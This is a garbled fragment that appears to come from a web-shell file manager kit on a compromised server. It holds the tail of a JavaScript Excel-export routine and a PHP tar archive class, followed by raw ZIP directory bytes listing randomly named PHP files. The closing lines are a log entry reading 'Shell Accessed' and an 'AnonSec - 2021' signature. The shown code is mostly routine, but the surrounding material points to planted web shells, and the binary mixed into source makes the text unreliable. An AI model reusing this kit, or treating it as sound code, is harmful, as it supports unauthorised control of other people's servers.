            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK2�m\d�b��samurai_activity.lognu�[���[2026-03-13 08:54:38] IP: 57.141.2.43 | Action: Shell Accessed | Target: 57.141.2.43 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
PKLm\�����	about.phpnu�[���PKLm\�h�����	,sabg5.phpnu�[���PKLm\�.�Q�%�%	�v95wi.phpnu�[���PKLm\(+�����	�iey4u.phpnu�[���PKLm\T�pWhh	�Qindex.phpnu�[���PKLm\�(C$�*�*	�Rnbixv.phpnu�[���PKLm\wqTT	�}.htaccessnu�[���PKLm\A4��|�|�	*~mjdqk.phpnu�[���PKLm\��������	�un9udf.phpnu�[���PKLm\�r���	�nf0qj.phpnu�[���PKLm\ �]��W�W	�pbyk4.phpnu�[���PKLm\����	
	about.PHPnu�[���PKLm\�K�V��	9	dr80q.phpnu�[���PKLm\|�Y	E�E�	`%	p20xj.phpnu�[���PKLm\���7�5�5	�vf6tc.phpnu�[���PK2�m\d�b��?
samurai_activity.lognu�[���PK�@

AnonSec - 2021